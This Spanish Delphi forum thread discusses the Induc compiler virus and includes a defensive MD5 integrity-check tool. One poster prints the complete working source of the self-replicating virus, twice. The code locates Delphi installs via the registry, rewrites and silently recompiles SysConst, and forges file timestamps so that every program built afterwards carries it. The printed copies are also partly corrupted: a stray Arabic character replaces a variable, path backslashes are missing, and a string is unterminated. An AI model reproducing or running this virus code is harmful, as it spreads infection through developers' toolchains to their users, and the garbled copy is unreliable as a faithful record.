36 respuestas en este tema

[seoane]

Parece ser que hay un virus que infecta SysConst.pas de forma que todos los programas que se compilan a partir de ese momento quedan infectados.

Yo acabo de leerlo aquí­:
http://blog.eurekalog.com/?p=244

[egostar]

Ah caray, y eso no será en todas las versiones de Delphi

Salud OS

[felipe]

... tenaz 

¿Y no existen parches o vacunas? 


Saludos!

[egostar]

Pues dice que se ha probado en D4 a D7

Salud OS

[luk2009]

Gracias por la Informacion. Es importante estar pendientes de todos estos asuntos de virus, que son tan incomodos y que ya casi hemos aprendido a convivir con ellos. Tal parece que no hay nada que se salve de los virus.

[Delphius]

Pues si que es para asustarme, sobre todo ahorita que estoy con mi proyecto de grado... Dios no quiera ni permita... no me quiero imaginar si después se me infecta mi trabajo ¡me muero! ¡Que podrí­a llegar a pensar el tribunal de mesa!... "Este chico nos está mandando virus", "nos está espiando"

Por ahora según lo que leo y entiendo el archivo SysConst.dcu en mi D6 no está infectado.

¡No quiero volverme paranoico!

Saludos,

[enecumene]

Ah vaya, hice la búsqueda en mi delphi de mi oficina al menos no está infectado, espero que en el de mi casa no lo esté .

Saludos.

[Wilson]

Amigos, quienes hayan bajado recientemente demos de algunos componentes, tienen la posibilidad de estar infectados, realizar la búsqueda con el buscador de Windows de archivos que contengan  la cadena:

delphi

  
h:=CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);

podrí­a ser incompleta, puesto que este no busca en archivos  .exe, a continuación agrego este
Componente TFindFileque es libre, que busca en toda clase de archivos. Hay que instalarlo y realizar la búsqueda. En caso de encontrar algo
hay que reemplazar la unit SysConst.pas renombrando el  backUp hecho por el virus SysConst.bak, o copiandola desde aqui, y si es del caso reconstruir los proyectos afectados.

delphi

{ *********************************************************************** }   
{                                                                         }   
{ Delphi / Kylix Cross-Platform Runtime Library                           }   
{                                                                         }   
{ Copyright © 1995, 2001 Borland Software Corporation                   }   
{                                                                         }   
{ *********************************************************************** }   
 
unit SysConst;                                      
 
interface   
 
resourcestring   
  SUnknown = '<unknown>';   
  SInvalidInteger = '''%s'' is not a valid integer value';   
  SInvalidFloat = '''%s'' is not a valid floating point value';   
  SInvalidCurrency = '''%s'' is not a valid currency value';   
  SInvalidDate = '''%s'' is not a valid date';   
  SInvalidTime = '''%s'' is not a valid time';   
  SInvalidDateTime = '''%s'' is not a valid date and time';   
  SInvalidDateTimeFloat = '''%g'' is not a valid date and time';   
  SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';   
  SInvalidGUID = '''%s'' is not a valid GUID value';   
  SInvalidBoolean = '''%s'' is not a valid boolean value';   
  STimeEncodeError = 'Invalid argument to time encode';   
  SDateEncodeError = 'Invalid argument to date encode';   
  SOutOfMemory = 'Out of memory';   
  SInOutError = 'I/O error %d';   
  SFileNotFound = 'File not found';   
  SInvalidFilename = 'Invalid filename';   
  STooManyOpenFiles = 'Too many open files';   
  SAccessDenied = 'File access denied';   
  SEndOfFile = 'Read beyond end of file';   
  SDiskFull = 'Disk full';   
  SInvalidInput = 'Invalid numeric input';   
  SDivByZero = 'Division by zero';   
  SRangeError = 'Range check error';   
  SIntOverflow = 'Integer overflow';   
  SInvalidOp = 'Invalid floating point operation';   
  SZeroDivide = 'Floating point division by zero';   
  SOverflow = 'Floating point overflow';   
  SUnderflow = 'Floating point underflow';   
  SInvalidPointer = 'Invalid pointer operation';   
  SInvalidCast = 'Invalid class typecast';   
{$IFDEF MSWINDOWS}   
  SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';   
{$ENDIF}   
{$IFDEF LINUX}   
  SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';   
{$ENDIF}   
  SAccessViolationNoArg = 'Access violation';   
  SStackOverflow = 'Stack overflow';   
  SControlC = 'Control-C hit';   
  SQuit = 'Quit key hit';   
  SPrivilege = 'Privileged instruction';   
  SOperationAborted = 'Operation aborted';   
  SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;   
  SExceptTitle = 'Application Error';   
{$IFDEF LINUX}   
  SSigactionFailed = 'sigaction call failed';   
{$ENDIF}   
  SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';   
  SArgumentMissing = 'No argument for format ''%s''';   
  SDispatchError = 'Variant method calls not supported';   
  SReadAccess = 'Read';   
  SWriteAccess = 'Write';   
  SResultTooLong = 'Format result longer than 4096 characters';   
  SFormatTooLong = 'Format string too long';   
 
  SVarArrayCreate = 'Error creating variant or safe array';   
  SVarArrayBounds = 'Variant or safe array index out of bounds';   
  SVarArrayLocked = 'Variant or safe array is locked';   
  SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';   
 
  SInvalidVarCast = 'Invalid variant type conversion';   
  SInvalidVarOp = 'Invalid variant operation';   
  SInvalidVarNullOp = 'Invalid NULL variant operation';   
  SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';   
  SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';   
  SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';   
  SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';   
  SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';   
  SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';   
  SVarTypeTooManyCustom = 'Too many custom variant types have been registered';   
 
  // the following are not used anymore   
  SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead   
  SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore   
  SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;   
  SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;   
  SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;   
  SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;   
 
  SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';   
  SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';   
  SVarOverflow = 'Variant overflow';   
  SVarInvalid = 'Invalid argument';   
  SVarBadType = 'Invalid variant type';   
  SVarNotImplemented = 'Operation not supported';   
  SVarOutOfMemory = 'Variant operation ran out memory';   
  SVarUnexpected = 'Unexpected variant error';   
 
  SVarDataClearRecursing = 'Recursion while doing a VarDataClear';   
  SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';   
  SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';   
  SVarDataInitRecursing = 'Recursion while doing a VarDataInit';   
  SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';   
  SVarIsEmpty = 'Variant is empty';   
  sUnknownFromType = 'Cannot convert from the specified type';   
  sUnknownToType = 'Cannot convert to the specified type';   
  SExternalException = 'External exception %x';   
  SAssertionFailed = 'Assertion failed';   
  SIntfCastError = 'Interface not supported';   
  SSafecallException = 'Exception in safecall method';   
  SAssertError = '%s (%s, line %d)';   
  SAbstractError = 'Abstract Error';   
  SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';   
  SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';   
  sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';   
  SInvalidPackageFile = 'Invalid package file ''%s''';   
  SInvalidPackageHandle = 'Invalid package handle';   
  SDuplicatePackageUnit = 'Cannot load package ''%s.''  It contains unit ''%s,''' +   
    'which is also contained in package ''%s''';   
  SOSError = 'System Error.  Code: %d.'+sLineBreak+'%s';   
  SUnkOSError = 'A call to an OS function failed';   
{$IFDEF MSWINDOWS}   
  SWin32Error = 'Win32 Error.  Code: %d.'#10'%s' deprecated; // use SOSError   
  SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError   
{$ENDIF}   
  SNL = 'Application is not licensed to use this feature';   
 
  SShortMonthNameJan = 'Jan';   
  SShortMonthNameFeb = 'Feb';   
  SShortMonthNameMar = 'Mar';   
  SShortMonthNameApr = 'Apr';   
  SShortMonthNameMay = 'May';   
  SShortMonthNameJun = 'Jun';   
  SShortMonthNameJul = 'Jul';   
  SShortMonthNameAug = 'Aug';   
  SShortMonthNameSep = 'Sep';   
  SShortMonthNameOct = 'Oct';   
  SShortMonthNameNov = 'Nov';   
  SShortMonthNameDec = 'Dec';   
 
  SLongMonthNameJan = 'January';   
  SLongMonthNameFeb = 'February';   
  SLongMonthNameMar = 'March';   
  SLongMonthNameApr = 'April';   
  SLongMonthNameMay = 'May';   
  SLongMonthNameJun = 'June';   
  SLongMonthNameJul = 'July';   
  SLongMonthNameAug = 'August';   
  SLongMonthNameSep = 'September';   
  SLongMonthNameOct = 'October';   
  SLongMonthNameNov = 'November';   
  SLongMonthNameDec = 'December';   
 
  SShortDayNameSun = 'Sun';   
  SShortDayNameMon = 'Mon';   
  SShortDayNameTue = 'Tue';   
  SShortDayNameWed = 'Wed';   
  SShortDayNameThu = 'Thu';   
  SShortDayNameFri = 'Fri';   
  SShortDayNameSat = 'Sat';   
 
  SLongDayNameSun = 'Sunday';   
  SLongDayNameMon = 'Monday';   
  SLongDayNameTue = 'Tuesday';   
  SLongDayNameWed = 'Wednesday';   
  SLongDayNameThu = 'Thursday';   
  SLongDayNameFri = 'Friday';   
  SLongDayNameSat = 'Saturday';   
 
{$IFDEF LINUX}   
  SEraEntries = '';   
{$ENDIF}   
 
  SCannotCreateDir = 'Unable to create directory';   
  SCodesetConversionError = 'Codeset conversion failure';   
 
implementation   
 
end. 

[Wilson]

A continuación muestro  la unit SysConst.Pas infectada.

delphi

SLongMonthNameJan = 'January';   
  SLongMonthNameFeb = 'February';   
  SLongMonthNameMar = 'March';   
  SLongMonthNameApr = 'April';   
  SLongMonthNameMay = 'May';   
  SLongMonthNameJun = 'June';   
  SLongMonthNameJul = 'July';   
  SLongMonthNameAug = 'August';   
  SLongMonthNameSep = 'September';   
  SLongMonthNameOct = 'October';   
  SLongMonthNameNov = 'November';   
  SLongMonthNameDec = 'December';   
 
  SShortDayNameSun = 'Sun';   
  SShortDayNameMon = 'Mon';   
  SShortDayNameTue = 'Tue';   
  SShortDayNameWed = 'Wed';   
  SShortDayNameThu = 'Thu';   
  SShortDayNameFri = 'Fri';   
  SShortDayNameSat = 'Sat';   
 
  SLongDayNameSun = 'Sunday';   
  SLongDayNameMon = 'Monday';   
  SLongDayNameTue = 'Tuesday';   
  SLongDayNameWed = 'Wednesday';   
  SLongDayNameThu = 'Thursday';   
  SLongDayNameFri = 'Friday';   
  SLongDayNameSat = 'Saturday';   
 
{$IFDEF LINUX}   
  SEraEntries = '';   
{$ENDIF}   
 
  SCannotCreateDir = 'Unable to create directory';   
  SCodesetConversionError = 'Codeset conversion failure';   
 
implementation   
uses windows; var sc:array[1..24] of string=(   
'uses windows; var sc:array[1..24] of string=(',   
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',   
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',   
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',   
'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',   
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',   
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',   
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',   
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',   
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',   
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',   
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',   
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',   
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',   
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',   
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',   
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',   
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',   
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',   
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',   
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',   
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',   
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',   
'begin st; end.');   
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]   
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;   
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin   
&#1580;:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle   
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile   
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while   
not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos('implementation',s)<>0   
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2   
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,   
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'   
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.   
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,   
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+'bak'),   
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=CreateFile(pchar(d+'bak'),0,0,0,3,   
0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=   
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,   
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of   
char;  i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(   
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then   
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=   
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'sourcertlsysSysConst'+   
'.pas',r+'libsysconst.','"'+r+'\bin\dcc32.exe" );end;RegCloseKey(k);end; end;   
begin st; end.  
 
         

[Wilson]

Algoritmo del virus

delphi

var sc: array[1..24] of string = (   
    'uses windows; var sc:array[1..24] of string=(',   
    'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',   
    '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',   
    'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',   
    '?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',   
    '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',   
    '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',   
    'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',   
    'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',   
    ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',   
    'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',   
    ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',   
    'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',   
    'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',   
    'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',   
    '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',   
    'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',   
    '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',   
    'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',   
    'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',   
    'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',   
    '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',   
    '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',   
    'begin st; end.');   
   
function x(s: string): string;   
var i: integer;   
begin   
  for i := 1 to length(s) do if s[i] = #36 then   
      s[i] := #39;   
  result := s;   
end;   
   
procedure re(s, d, e: string);   
var f1, f2: textfile;   
  h: cardinal;   
  f: STARTUPINFO;   
  p: PROCESS_INFORMATION;   
  b: boolean;   
  t1, t2, t3: FILETIME;   
begin   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h <> DWORD(-1) then   
  begin CloseHandle(h);   
    exit;   
  end;   
{'I-}   
  assignfile(f1, s);   
  reset(f1);   
  if ioresult <> 0 then   
    exit;   
  assignfile(f2, d + 'pas');   
  rewrite(f2);   
  if ioresult <> 0 then   
  begin closefile(f1);   
    exit;   
  end;   
  while not eof(f1) do   
  begin readln(f1, s);   
    writeln(f2, s);   
    if pos('implementation', s) <> 0 then   
      break;   
  end;   
  for h := 1 to 1 do   
    writeln(f2, sc[h]);   
  for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');   
  writeln(f2, '''' + sc[24] + ''');');   
  for h := 2 to 24 do writeln(f2, x(sc[h]));   
  closefile(f1);   
  closefile(f2);   
 {'I+}   
  MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));   
  fillchar(f, sizeof(f), 0);   
  f.cb := sizeof(f);   
  f.dwFlags := STARTF_USESHOWWINDOW;   
  f.wShowWindow := SW_HIDE;   
  b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);   
  if b then   
    WaitForSingleObject(p.hProcess, INFINITE);   
  MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));   
  DeleteFile(pchar(d + 'pas'));   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  GetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
  h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  SetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
end;   
   
procedure st;   
var k: HKEY; c: array[1..255] of char;   
  i: cardinal;   
  r: string;   
  v: char;   
begin   
  for v := '4' to '7' do   
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then   
    begin i := 255;   
      if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then   
      begin r := '';   
        i := 1;   
        while c[i] <> #0 do   
        begin r := r + c[i];   
          inc(i);   
        end;   
        re(r + 'sourcertlsysSysConst' + '.pas', r + 'libsysconst.', '"' + r + '\bin\dcc32.exe" );   
      end;   
      RegCloseKey(k);   
    end;   
end;  
 
   

Ojo con reproducirlo  jajaja.

Saludos

[enecumene]

Ojo con reproducirlo  jajaja.

Saludos

jajaja nii loco amigo , ojalá en mi pc no tenga ese problema

[egostar]

Ah vaya, que buen trabajo de investigación amigo Wilson .

Salud OS

[eduarcol]

y que se supone hace el virus??

[felipe]

y que se supone hace el virus??

Me ganaste la pregunta , ¿verdad que hace el bicho este?


Saludos!

[Wilson]

Aqui un resumen.

Virus infects development environment
Anti-virus software vendor Kaspersky has discovered a new type of virus which infects and compromises systems running the Delphi development environment. After infection, all Delphi programs compiled using the infected Delphi environment are also infected. Anti-virus laboratory AV-Test has already spotted the first examples in the wild.

The virus affects Delphi versions 4.0, 5.0, 6.0 and 7.0. After making a backup which it names SysConst.bak, it overwrites the Delphi file SysConst.dcu with a self-compiled version. Since the infected file is loaded whenever Delphi programs are compiled, all programs generated after this point will be infected.

The virus does not carry a malicious payload, so does not do any damage to systems which are not running Delphi. It does not therefore represent an actual hazard at present. The programs Any TV Free 2.41 (anytv241_setup.exe) and Tidy Favorites 4.1 (TidyFavorites_Setup_4_1_free.exe), which are included on some current magazine CDs and are also among the top 100 downloads on some download portals, are infected with the virus. Kaspersky, F-Secure and Ikarus anti-virus products report the malware as "Virus.Win32.Induc.a". McAfee reports infected files as "W32/Induc" or "Generic!Artemis". Other anti-virus vendors have been informed of the virus and are working on updates.

The idea of concealing malicious code in a compiler is by no means new. In his very readable acceptance speech for the 1984 Turing Prize, Reflections on Trusting Trust, Unix grandee Ken Thompson discussed the possibility of using the C compiler to inject a back door into the login process. However, it has taken 25 years for reality to catch up with the theory.

[Delphius]

Pues muy de pasada... y sin prestarle demasiada atención.... al parecer lo que hace es copiar ese script escrito dentro del array sc (que no deja de ser el mismo código) en la sección implementation de cada pas... se va propagando por diferentes pas y copiandose a si mismo...

tal parece que abre cierto registro de windows, pero que altera dentro no se... más allá de eso no logro darme cuenta de que hace.

Saludos,

[JoAnCa]

Y será realmente un Virus, o será un Hoax

Y si es un virus que inyecta el codigo en la unit, que pasa con los antivirus?
Si Karspesky dice de su existencia, entonces es que lo detecta y elimina, y por tanto con KAV no hay que preocuparse, y tampoco con otro antivirus que detecte al Virus.Win32.Induc.a

En realidad ni se sabe lo que hace, y si nuestros programas llevan ese codigo, entonces en que momento se ejecutará?

[seoane]

Pues el código deja bien claro lo que hace, busca en el registro de windows el directorio de instalación de delphi y modifica el archivo SysConst para insertarse a si mismo. Luego lo compila para crear el dcu y modifica la fecha de modificación para que llame menos la atención.

Luego solo tiene que esperar, como SysCont esta incluida por defecto en todos los proyectos de Delphi todos los programas que se compilen a partir de ese momento tendrán el código malicioso dentro, y en cuanto uno de esos programas infectados se ejecute en otro equipo con delphi el proceso se repite.

La desinfección de un ejecutable infectado es difí­cil porque no es un añadido como en otros virus, sino que el código malicioso se a añadido antes de compilar el ejecutable y así­ queda completamente integrado con el programa.

[seoane]

Propongo una pequeña prueba.

La siguiente aplicación de consola busca todos los .pas y .dcu de la instalación de delphi y calcula su md5, guardando el resultado en una archivo de texto (CheckMd5.txt).

La aplicación es esta: (abajo adjunto un zip con todo el código):

delphi

program CheckMd5;
 
{$APPTYPE CONSOLE}
 
uses
  Windows,
  SysUtils,
  Classes,
  Registry,
  Hashes in 'Hashes.pas';
 
var
  Signatures: TStringList;
  Checking: Boolean;
 
procedure Buscar(Path, Etiqueta: String; Recorte: Integer);
var
 SR: TSearchRec;
 Str: String;
begin
 Path:= IncludeTrailingPathDelimiter(Path);
 if FindFirst(Path + '*.*', faAnyfile, SR) = 0 then
 repeat
   if (SR.Name <>  '.') and (SR.Name <> '..') then
   begin
     if (SR.Attr and faDirectory) = faDirectory then
       Buscar(Path+SR.Name, Etiqueta, Recorte)
     else
     begin
       Str:= Uppercase(ExtractFileExt(SR.Name));
       if (Str = '.PAS') or  (Str = '.DCU') then
       begin
         Str:= Etiqueta + Copy(Path+SR.Name,Recorte,MAXINT) + '=' +
           CalcHash(Path+SR.Name,haMd5);
         if Checking then
         begin
           if Signatures.IndexOf(Str) < 0 then
             MessageBox(0,PChar('El siguiente archivo ha sido creado o modificado:' + #13 +
             Path+SR.Name),'Mensaje',MB_OK or MB_SETFOREGROUND or MB_TASKMODAL);
         end else
           Signatures.Add(Str);
       end;
     end;
   end;
 until FindNext(SR) <> 0;
 FindClose(SR);
end;
 
procedure Vamos(Key,Name,Etiqueta: String);
var
  Str: String;
begin
  with TRegistry.Create do
  try
    RootKey:= HKEY_LOCAL_MACHINE;
    if OpenKeyReadOnly(Key) then
    begin
      if ValueExists(Name) then
      begin
        Str:= ReadString(Name);
        Buscar(Str,Etiqueta,Length(Str)+1);
      end;
    end;
  finally
    Free;
  end;
end;
 
var
  C: Char;
begin
  Checking:= FindCmdLineSwitch('CHECK',TRUE);
  Signatures:= TStringList.Create;
  try
    if Checking then
      Signatures.LoadFromFile(ChangeFileExt(ParamStr(0),'.txt'));
    for C:= '0' to '9' do
      Vamos('SOFTWARE\Borland\Delphi\' + C + '.0','RootDir','{Borland\Delphi\' + C + '.0}');
    for C:= '0' to '9' do
      Vamos('SOFTWARE\Borland\BDS\' + C + '.0','RootDir','{Borland\BDS\' + C + '.0}');
    for C:= '0' to '9' do
      Vamos('SOFTWARE\CodeGear\BDS\' + C + '.0','RootDir','{CodeGear\BDS\' + C + '.0}');
    if not Checking then
      Signatures.SaveToFile(ChangeFileExt(ParamStr(0),'.txt'));
  finally
    Signatures.Free;
  end;
end.

Ahora para comprobar si algún archivo ha sido modificado solo hay que ejecutar el mismo programa con el parámetro /Check y lo que es mas util, si tenemos el archivo con los md5 de otra persona podemos comparar una instalación con otra (en el zip con el código va mi archivo de hash con la instalación de turbo delphi y delphi 2009)

Archivos adjuntos

•  1346_b80deb4d62aede0d48483e924b1bc13a9e100cb0.zip   215,09KB   4 descargas

[Wilson]

Gracias por el aporte Seaone,  ya comentaremos las pruebas.
Saludos